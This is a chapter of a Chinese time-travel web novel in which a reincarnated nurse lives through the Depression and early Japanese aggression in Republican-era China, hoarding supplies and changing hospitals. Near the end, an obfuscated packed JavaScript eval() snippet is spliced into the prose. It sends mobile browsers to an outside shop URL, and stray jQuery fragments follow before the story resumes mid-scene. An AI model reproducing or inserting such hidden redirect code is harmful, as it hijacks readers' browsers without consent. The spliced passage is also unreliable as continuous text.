17.当年的护士(四)
作品:《灾难生存记事簿(超快穿)》 今年的天气偏暖,三月份的天气忽冷忽热,结果金陵那边传来很不好的消息,一个外籍大学校长被军队打死了。
接着,著名的活动家李先生被东北那边的军阀杀害。
各地军阀开始大洗牌。天津出的一份报纸分析的南方局势很有意思,苏茜买了没给外国邻居们看,因为他们中只有两位能够阅读简单的中文。
光是从人名满天飞的分析里就可以看出来,局势日渐紧张——不仅是内部,还有租界和口岸不设防这种入侵的前奏。最可怕的是,这些人名有的是用字、有的是用号,骂人的时候还会写绰号,搞得本来就不熟悉近代史的苏茜压根不知道在说谁。
“布莱克医生回国了。”
“最近好几位医生,回伦敦了。”
“还有去了美国的,对了,还有一位去澳大利亚。”
“你觉得澳大利亚怎么样?”
“有些大城市还不错。但听说内陆太广袤而且干旱贫瘠,不太适合生活。”
“起码不会有战争吧?”
“可是干旱也很可怕。”
“那么海滨城市?”
“亲爱的,海水不能喝。”
等到第一位女飞行员飞越大西洋的时候,这里还在为美术课程用裸模争执不休。
苏茜没有关心被东洋炸死的立场还算亲东洋的军阀——不过现在报纸上可没提那位军阀已经身亡,只是说受伤。
整个平城还在讨论新评出来的四公子,而且名单各异、长相还一言难尽,真是让人无语。
“……这就是法国香水为什么那么发达的原因。那时的贵族们不洗澡,那身上的味道可想而知。”一位英籍护士这样评价。
“人们的审美标准一直在变化。比如古代认为美少年就要比女孩子更精致纤细,但是美男子一定要高大、白皙、微胖并且胡子修剪得体。”苏茜向对方介绍道。
“哦,听上去都,挺有时代特征?”
“是的。”
两人都没有提,现在,不论哪个国家都认为男人的魅力只有一条:有钱。
“所以这位年轻的地方领袖决定挂上统一的旗帜,因此这个国家结束了分裂状态!”年底的时候这算是好消息吧?苏茜的邻居们也显得挺高兴的。谁都希望新年到来的时候都是好事。打仗并不美好,即使有一位邻居还是军火商公司的员工。苏茜还从他那里高价买了一柄带抑制器的转轮,还有两盒特制子.弹。这种大幅降低噪音的装置后来管控越来越严,税后价也越来越高,据说最高曾经达到一间屋子的价格,反正她现在付出的其实还算是便宜。另外,这柄转轮属于噪音比较小的,这与其结构设计和配套子.弹有关,加上抑制器分贝能小于100,这样不得不开木仓的时候引起关注的几率会更小。
与热武相比,最可靠的还是自己徒手。
她最近正在研究在没有修为的世界里,如何徒手拧断脖子。最靠近大脑的那节颈椎骨是最致命的,不过一击毙命的难度并不比针灸找准穴位的难度小,因为可没有那么多的脖子可以练习。她当修士时杀的人都是用修为加武.器,连灭迹都没有上手直接接触。而在之前可都是小地主,自家地盘之外的人压根听不到奇怪的声音——听到也会当作没听到。
“苏茜护士真是用功。”大概是护士里唯一一个会看手术刀杂志并且做笔记的。呃,拉丁文、英文、示意图、乃至理化还是数学符号来着。
“我不懂的太多了。”可她没找到青霉素的资料。通史里只说这个时候发明,但更具体的就没有了。哦,还有卫生巾!她受够了经带和棉花草纸。距离绝经还有很久,所以她还得等多久?
……
卫生用品没有等来,先来到的是疯狂的华尔街。
有一户邻居折腾半天没有买到船票,没回去美国“发大财”,捡回一命。苏茜只知道这一年年底左右开始大萧条,但早就不记得具体时间,只是从一个黑色星期四开始。
所以在寒风凛冽中,全楼的人先是震惊地看到通过电报得到消息的本地报纸,然后是延迟送来的外文报纸。
“天啊……华尔街下人雨砸死了好几个路人!”
“前段时间涨得太多现在回落不是很正常。”
“是彻底崩盘了。你看这几份报纸的时间,照片的时间!”
“完了,我上司新年的时候休假两个月回去买股票,一直没来上班……”
他们这些租客可没有电话,房东太太那有,但是因为她家在平城,家里直系近亲也没有在美国炒股票的,所以根本不知道消息。
“幸好我没那么多钱买来回船票去买股票。”
“幸好我不是美国人。”
“幸好我没钱。”
男女邻居们疯狂讨论了两个小时才慢慢散掉去吃迟到的晚餐。
苏茜没参与。这两个小时她在整理东西。几个月钱她就将美刀纸钞保存起来,本地和其他纸钞以及一部分金锞子全部换成银币。秋粮上市后买的大米以及酒醋、盐糖、蜂蜜等不拆袋直接存放在上辈子专门做出来的小巧粮食地窖,还专门租了个小仓库,一批批采购比如砖瓦木头石灰皮料帐篷衣被木炭煤炭汽油煤油乃至各类大小工具杂物都放进仓库,然后转移到岛上。山洞经过上辈子谨慎的扩充和加固做出来好几个附属储藏室,常年用木炭碎末减少些水分。她估计战争结束的大致时间不会改变,所以要准备好能让自己和少数身边的人撑过战争的物资。嗯,粮食包括牛奶水果肉罐头不能放那么久,每年都得更新,所以她都会在买到新粮后将陈粮送去城里的救济点,也从来不扔旧衣物。连厨余垃圾都没有,包括院子里的落叶都做了腐殖质和绿肥。
平城里因为破产而自杀的很少。但是因为美国市场或供应出了问题而离开的到有好些。苏茜的一对邻居租客走了,过了好些日子都没有人来租这两间房。最后房东太太的儿子一家为了省钱搬过来住了,女孩跟祖母住二楼,男孩跟父母住一楼。除了住房小点没有大客厅、上班远点需要骑自行车,其他没有任何不好的。
住客的变化与苏茜无关。她休假多了自然收入稍微减少一点点,不过全年所损失的工资都不超过一金元。所以她保持在一月和七月分别一次□□半年房租的习惯。
每年的圣诞元旦假期苏茜都会工作。虽然没有劳工法律,但医院会安排丰盛的加班晚餐和多一天带薪休假,表示对奉献的员工的关怀。当然,除夕的时候苏茜同样不会请假过节。
大萧条对平城的影响不是特别大,尤其是医院的产妇和病患数量每年都在增加。现在连不少普通平民都知道难产要来医院,生产前最好也来检查一下,如果能住到生产最好。更不要说一些急重症,尤其是肺部问题。甚至还有专门挑选日期来剖腹产的,不过多数会被医护劝退。
“终于没有给胎儿穿鞋子帮助生产的接生婆了。”
“其实那种操作也就是一个心理安慰吧?没有手术几乎都是母亲和孩子难产而亡。”
“谢天谢地没有人为了漂亮而故意感染肺结核。”
“本地人知道肺结核是会传染人的绝症。”
“也不是都会死啊!”
“大部分的本地人,即使小工场主也支付不起长期治疗修养的费用。”
“这倒也是。”
“……”
“……”
苏茜仍然在传染病病区。期间她“安排”自己被病人传染了三次,病假了两周时间,期间虽然没工资,但医药费不需要自己付。
由于本地病患越来越多,她这样的资深多语种华籍护士被提了一级。对了,她还会“一点”日文口语。本地的日语“教材”极少而且是用罗马字母标注读音,而那边传来的不少文章书籍居然是没有汉字的“奇怪”符号,搞得她这个近两百年没接触的人重新捡起来相当困难。她曾经一度重读过几年的教材书籍完全跟现行的完全对不上,但是口语中倒还能用,尤其是她能用一些敬语让病患及家属非常舒适,虽然格式读音之类的有些不太对。
“日籍病人是越来越多了。”本地护士在周围没有外国医护的情况下有时也会说华语。
“东北那边……唉,反正想想也不是中原。”
“连东北那边都有了侍从官四公子。不都是这边过去的。”
“所以……那边会打起来吗?”
“那边怎么会反抗东洋。”
护士们可不会看飘洋过海价格翻倍的外籍报,所以对时局了解讨论得更多,甚至还有在平城政府成立后偷偷加入党派的。
苏茜基本不参与讨论。她与本地人的脑袋不同步,但与外籍的也没法并轨,所以只能一个人清醒。
入夏后,连少雨的平城都在下雨,长江流域到处是洪灾。没灾的地方居然还在打仗!真是服了。
这下没法囤秋季大米了。好在之前买的春麦和麦粉、米粉、干面条、通心粉和一些粗粮面粉大部分都贮藏起来,足够她吃到明年秋天。不过等开始组织募捐的时候,她会将去年的粮食和罐头都捐出去的。
能在食堂吃新鲜现成的食物还不错。现在人多了,还多了个华籍平城厨师,食物种类也更多了,起码有米粥、红枣小米粥和蔬菜瘦肉粥而不是只有燕麦牛奶粥。就是披萨仍然做得一言难尽,还不如千层面,奇怪的地方在于还是平城厨师做的千层面好吃!
“这是法国菜吗?”
“不,意大利菜。其实现在推崇的法国菜源于意大利,据说法兰西国王亨利二世,在教皇的安排下娶了嫁妆非常多的凯瑟琳-美第奇公爵小姐……凯瑟琳王后陪嫁了上百名厨师,她教会法兰西贵族们如何优雅地使用刀叉、布置餐桌和烹饪肉食,而不是像野蛮人一样用刀子切割只放盐的腥膻肉块,用手放到嘴里,并且她将高跟鞋、束腰和香水带到法国宫廷乃至整个欧洲……美第奇家族是缔造了佛罗伦萨财富和四位教皇,达芬奇、米开朗基罗、拉斐尔等艺术家的传奇银行家贵族,而法王一向喜欢欠债享乐,后来波旁王室的亨利四世也一样,为了钱娶了一位美第奇又冷落妻子。这里的亨利不是英国安茹王室的短斗篷亨利二世和兰开斯特王室的……差不多一百年后,一位法国公主成为英国王后,把更加精致讲究的餐桌带给英国,虽然并没有让英国的食物变得有多好吃……”
苏茜难得聊天,一聊就是连不少外籍护士也不知道的历史八卦,嗯,尤其是标准的意语和法语人名全名发音,让挺迷信法国菜的美籍英籍甚至法籍人士都目瞪口呆,更不要说满脑袋“亨利不是亨利也不是海因里希”的三种发音——为什么苏茜一副你们应该知道谁是谁,但事实上大家一个都不知道。
“哦,‘黑太后’!”终于有个“知识渊博”的荷籍护士想起来,然后法籍护士也想起来了。
“对,住卢森堡宫,给长子娶了苏格兰玛丽斯图亚特女王的那位。”苏茜又补上一记冷知识。
“是不是被伊丽莎白女王砍头的那位?”
“对。不是血腥玛丽,是英格兰女王的表姐玛丽。当然后来那位美第奇也叫玛利亚。”抱歉,玛丽和亨利这样的名字太多了。然后她向华籍多解释了几句,“她们两位佛罗伦萨王后差不多是法国版的武则天太后和慈禧太后,前一位治国水平超过儿子,后一位尽添乱。当时还没有统一的意国。”
“不是有罗马帝国吗?”
“罗马分裂为罗马和君士坦丁堡两个帝国之后,西罗马帝国被哥特人灭亡了。中间还有个神圣罗马帝国,然后拿破仑曾经建了个傀儡国。七十年前才建了意国,定都佛罗伦萨。法国撤出后再迁都罗马。意国在罗马帝国的时候叫意省。”
“东罗马帝国是被突厥人灭绝的吧。”
“是。巴格达的什么王朝,我不会土耳其语。”
一堆的历史名词让包括华籍在内的人都满头包。但没人敢否认苏茜的欧洲历史知识超过部分欧洲人——她可以跟法籍讨论英王室的狗血,跟英籍探讨拉丁史上的狗血,跟美籍研究相同人名背后的狗血……为什么都是一堆让人无语的“史实”乱飞?
“一千年来华籍皇室和战争也很让人抓头发啊!”比如一只鸡拉开了明亡的序幕,还有被剁成碎肉的福王,还有大太监死后越来越少的军饷……为什么每个故事都是那么的,难以描述?
晚饭后的这场历史八卦甚至吸引了一堆医生和轻病患。
但几天后,就是东洋正式出兵占领满洲的九一九。
为什么不是九一八?
苏茜没有太奇怪。她是历史麻木者,知道即使历史有偏差,也还有很多年战争才结束。而且现在还不是最惨烈的时候,没看那边都没有正面战场可言吗?!
平城这里报纸传单纸片满天飞,人们义愤填膺,连外籍人士都皱眉,不少国家包括美国也公开谴责。
谴责有什么用?那边照样做生意。
调查有什么用?还是殖民国作风。
退位的皇帝又重新当了皇帝,没有引起任何波澜。倒是一堆人寄希望于外国来调查东洋侵略事宜。
苏茜连看报纸都懒得看。
“……主要看大战什么时候可能打起来吧。”苏茜冷淡地道。
“大战?!”
“对,第二次大战。这次的武.器更先进,杀伤力更强。不知道如果打起来的话,军备还是十年前的法国能撑多久。”想起来后来无数搞笑“片段”,苏茜就挺想重复美.军对法军的评价——她对历史评论的搞笑部分记得特别清楚,至于生灵涂炭……现在还没开始呢!
其实光是自然和人为灾害造成的死亡都比直接死在战场的人数多。而屠.杀……当年满兵屠.杀的城市早就没了血腥记忆,大家还对剪辫子犹豫不决呢!
苏茜的淡漠让房东太太以及邻居们有些犹豫。这到底是严重还是不严重呢?严重的话他们还是趁早找机会回国,不严重的话还能多攒几年钱到时候可以移民美国、不行去澳洲。毕竟现在欧洲还没打仗不是,就是经济同样很糟糕。
“我觉得平城目前还是安定的,不会被炸。”
这句话没多久,元旦过去没几天,东洋打进海城。
这就有了著名的一幕:外国记者在租界里边喝咖啡边拍摄远处交战的照片,以及各种战争中儿童“悲惨”的照片带动报纸销售——两个亚洲国家打来打去,也就是这种照片可以弄些卖点了。也许有些反对战争的记者会从不同角度去解读,但读者们要么表示一下自己是很有同情心的人士,要么兴高采烈地寻找谈资。平城这里谈论战事也是这种唾沫横飞的劲头,不过老少爷们是不会傻乎乎地加入军队找死的,他们还要弄钱娶姨太太传宗接代,忙着呢。也许其他地方很多人都去参军了,反正他们入伍了也不是去打外族的。
外国人们也每天盯着报纸,连外文报都对远东第一大都市和海港大篇报道。
苏茜重新去翻了通史,也就是几行字,还没有伪满国的字数多,更比不上这一年德国选举时那位当过兵的美术生为什么被任命为总理而不是直接当选为元首的分析。原来这是海城第一次抗战,败了,但还不至于全面沦陷,不是她记忆里那场悲壮的会战,但也有曾经赚到她眼泪的十九路军……
本次战事各国是出兵了的,尤其是远东海军大概都压在长江入海口了,也所以东洋军队暂“退”一步,让各国继续做生意。
要不,以后如果有机会,就学学什么机械设计、金属制造或是化学制药——生物制药在这种年代压根用不上。
日子又诡异地平静下来。平城甚至有点歌舞升平的意思,据说新的平城四公子又出炉了,从不清晰的照片上看,长相依旧有些一言难尽。兴许她与这个时代的审美有壁垒,没一个看得顺眼。
苏茜能够理解却无法接受这种党.争高于一切的“传统”做派。这个国家仍然四分五裂的状况让“国家”概念还没真正形成,又失去了君王这个共主,因此绝大多数人眼里就只剩下家族和小团体的利益。这是根深蒂固的东西,一代代家庭教育出来,不是一场两场少数人参与的“运动”能解决的。
北方,“传说”军队与东洋军又“狠狠”打了一仗。在大家还没想好是不是要跑路的时候,又结束了。有的报纸口口声声说赢了,双方停战,有的怕被查封说着模棱两可的话。
苏茜不想多看一眼这愚蠢的作秀。现阶段,真正的战争是党.争,对外的,称不上。
“如果他能够谨慎平和地使用自己的权力,那么这里的任何人都不会为德国民主的消失而落泪。”
总体上,报纸一半支持纳.粹打苏联,一半外国记者的反面新闻报道受限制。苏茜干脆不看任何报纸了。原来大战前是如此让人迷惘绝望的舆论环境!
唯一让人心情还不错的是罗总.统开始推行新政,大萧条会好一点,吧。
“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002842|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的非常抱歉,宾西的调动太突然了。我不得不卖掉这栋房子跟着一起去巴西!”
“我能理解,亲爱的。”苏茜对房东太太退给她下半年的房租表示理解,但回头就提交了辞职书。
“平城让我感到很不安全。你知道,我是华籍,而且我讨厌东洋……我打算去锦城,那边有家女子医院。”
“亲爱的苏茜,你觉得,平城不安全?”
“对讨厌东洋的华籍女护士来说,不安全。我感觉全面战争的步伐越来越接近了。”
美籍副院长表示了一下遗憾,还给她写了封推荐信,言明是资深护士苏茜出于对战争的忧虑而选择离开平城,并且夸奖了下她的好人缘。现在院里人都是说英语,之前苏茜的多语种优势其实已经可以忽略了,所以她是否离开并不重要。
而苏茜则是给副院长以及同事们留下自制的葡萄酒后潇洒走人。
她曾经看过一篇文章,说是日据时代的平城居民户数还增加了。当时她即使不是蒙.古人种也对此感到有些奇怪:居然比德据时代的巴黎还夸张吗?!但现在她明白了,在没有了皇帝、不停变换大王旗,大家只关注明天粪车是否及时到的时候,城头上挂的什么旗帜真不重要,包括最奋战的大学估计也会挂上美国的旗……
在秋风乍起时,苏茜收拾了两个箱子,把绝大部分东西都放在岛上,买了张超高价的头等卧铺票,吃着平均一块一顿的西餐,南下汉口,再转船逆流而上去锦城。
* * *
特快火车两天一晚。非常不舒服。
下车后,买了两张一间的客船票到达长江码头,同样是不是多舒适的旅程。
在码头附近茶楼里等到雨停后,叫车走了一个多小时去家干净的旅店,第二天再叫车去城里看准的医院附近的旅店。
一路花了快半个月。
这个时候锦城还不是多“热门”的城市,与海城租界差距甚远,但比海城交战地要强多了。
苏茜对这个年代海城的“繁华”全无兴趣,也不想挑战目前蜀省风景胜地的可怕交通。她在忙着适应本地方言和找房子。
医院周边的房源不少,但都没有可以洗澡不需要倒马桶的卫生间。苏茜不得不将条件放宽,距离两公里以外,倒是有三楼一整层三间房间包括一间超级大的带下水道的盥洗室,一楼是出租的沿街店面,二楼是房东一家,三楼出租。二楼和三楼只能从后巷的室外楼梯上去。本来三楼是拆成三户出租,但住户用水上厕所得与房东家一起导致不少问题,最后房东干脆简单改造后整层出租,导致价格较高。
所以苏茜见到的盥洗室中间有个冲水蹲厕,边上是一个大木桶和一个炉子加俩凳子。
这是她若干辈子仅见的奇葩“厨卫间”,对了,这个炉子可以做饭烧水,于是就不需要从二楼拎了热水上来洗澡。
“我租了。”房租还比平城的套间便宜,三个月一付,有独立的水井,而且不需要付美刀。
至于三间屋子只有一套简单家具,井水水质一般还要人力提上楼,以及楼梯房间窗户的安全问题——对苏茜而言真不是问题。她拒绝公厕主要是为了掩饰出入自家的岛。还有,在平城时她也只喝岛上雨水过滤净化烧开后的水,而洗涤用水就是简单过滤后的雨水。
这里的井水主要是用来擦洗地面家具和冲厕所。
唯一让人特别满意的就是玻璃大窗户和布窗帘,在不得不睡在房间里时遮挡效果不错。
医院那边也到了上班的时间。
一个正值壮年,有学历有证书有工作经验会几种外语的华籍女护士还对工资没有要求,简直是天上掉馅饼。医院给了仅次于美籍护士长的工资,
苏茜则最为满意医院附属书店里有出售医学院的全部教科书,而不像平城那里拒绝外售。
她买的书分两次才搬完,还是叫人力车连人带书箱的运,再多给车夫小费帮忙搬上楼,可见买了多少书。
这个时代医学教科书的理念已经很接近“现代”理念,X光的应用也有,只是很多还是在理论甚至设想的阶段。苏茜没有收集很多的现代医学书,但病理学、药典、中医译文和穴位药方等等还是有的。跟现在买到的中西医书一对比就大概可以知道其进展。比如青霉素和磺胺的生产运用,比如病毒的检测和治疗,比如一次性针头及消毒设施……这些因为涉及医生护士医院之外的科技,因此很难做到。
……
锦城的冬季来得晚,但攻击性一点不差。让人“庆幸”的是,每逢换季公立医院塞满人的盛况在眼下的锦城西式医院里是不存在的。
医院不是公立,为个感冒付两块以上诊费药费的人不多。但来医院的过半都是肺炎乃至肺结核。
“产科当然不能和肺病还有痢疾混杂,会将疾病带给新生儿,必须严格分开……”苏茜这样跟与同样住院的亲属距离很远的产妇说道,并且拒绝了对方想让那边亲属过来的要求。
其实这个时候还有霍乱甚至炭疽吧?苏茜觉得自己的近代通史等于没读,因为没有一样是用得上的。另外,有些事情时间并不一样。比如应该有个西安事变的?怎么时间不对啊!人名似乎也不太对?苏茜看到报道的时候,那边已经“和平解决”。似乎记得惨死的小萝卜头就与这事件有关?唉,几百年了,她真有些记不清。
接着的几个月陷入了一种诡异的平静。
苏茜照样休假。
她的休假就是去无主山地“拿”可以做绿肥的大量枝叶,用来保持岛上种植区域的土壤,并且挖些山上腐殖质多的泥土连同一些看得顺眼的菜和茅草、杂草装进陶盆、木筐等各种容器里,有时直接从农家买种子。倒不全是她要种了吃,更重要的是地面需要一些植被。岛上雨水过多,即使上辈子修了梯田还种了保持土壤的植物,也只是让土地不过分糟,而且那些植物现在都成了土壤肥料。平城的时候她试过几种,但北方的植被在岛上基本活不过一年,希望锦城这里的植物争气些。
“这种草就是盖屋顶的。没人专门种,田里不能有这种草,但山上都是。”山民指点了不少“冷门知识”以及不少菜作为参考,得到一块银元作为报酬,高兴得不得了。
而苏茜则待在山里逗留好几天,都在挖掘移栽。好吧,作为老家华籍的人士,她居然差点没认出来荠菜这种著名蔬菜,简直令人发指!
一周的休假过后,似乎依旧风平浪静。苏茜买了些常用西药和中草药“备着”,当然可以储藏的食物和衣物煤炭木炭竹炭汽油煤油等等是每年的“保留节目”。竹炭燃烧效果没有木炭好,但胜在便宜环保。
顺便继续给各个捐款点投入夹了无标识金元的纸币。
这个时期的纸币虽然不得不放弃银本位,但币值稳定,还能自由兑换外币,所以她时不时兑换些各国货币做收藏,尤其是保值的美刀。相比管理严格的城市,农人们还是更欢迎他们长期习惯使用的贵金属或是易物交易,所以她给的是金银,和用自家海水煮出来的海盐。而上点规模的商人们则更喜欢金子付账。所以苏茜用金块换金条,再换来不少物资,比如脚踏车加打气筒。以她的工资得好几个月才买得起一辆脚踏车外加上税和牌照,不过用金元就简单多了。
锦城冬天湿冷夏天湿热。冬天的火炉子只要没有一氧化碳中毒还比较有效,但夏季没有低噪音的空调那真是难受。
“今天这个天热死了。晚上肯定睡不着。”二楼房主一家八口,中年夫妇两个老人四个孩子,开着所有门和窗通风。
当苏茜回来时他们顿了下,明显是从窗口离开。自从知道楼上的护士要接触病人和死人后,他们就不再热情地拉着她说东道西拼命打听医院里挣多少钱。
“我闻不到死人味道啊?”
“笨!她把护士服换下了。”
“传染病是闻不到的,只会直接传给你。”
“可她好像没有生过病。连咳嗽也很少。”
“也不在地板上跑来跑去。不吵。”
“反正你们别跟她距离太近,知道吗!”
“知道了!”
几个孩子最大的十五,最小的刚会走路。苏茜叹息着,觉得幸好这里是锦城,不是全城被炸成废墟的渝城。
不过,两个城市距离这么近,难道真没轰.炸?想到不靠谱的通史记录,她开始不确定了。话说,这个城市有防空洞吗?!

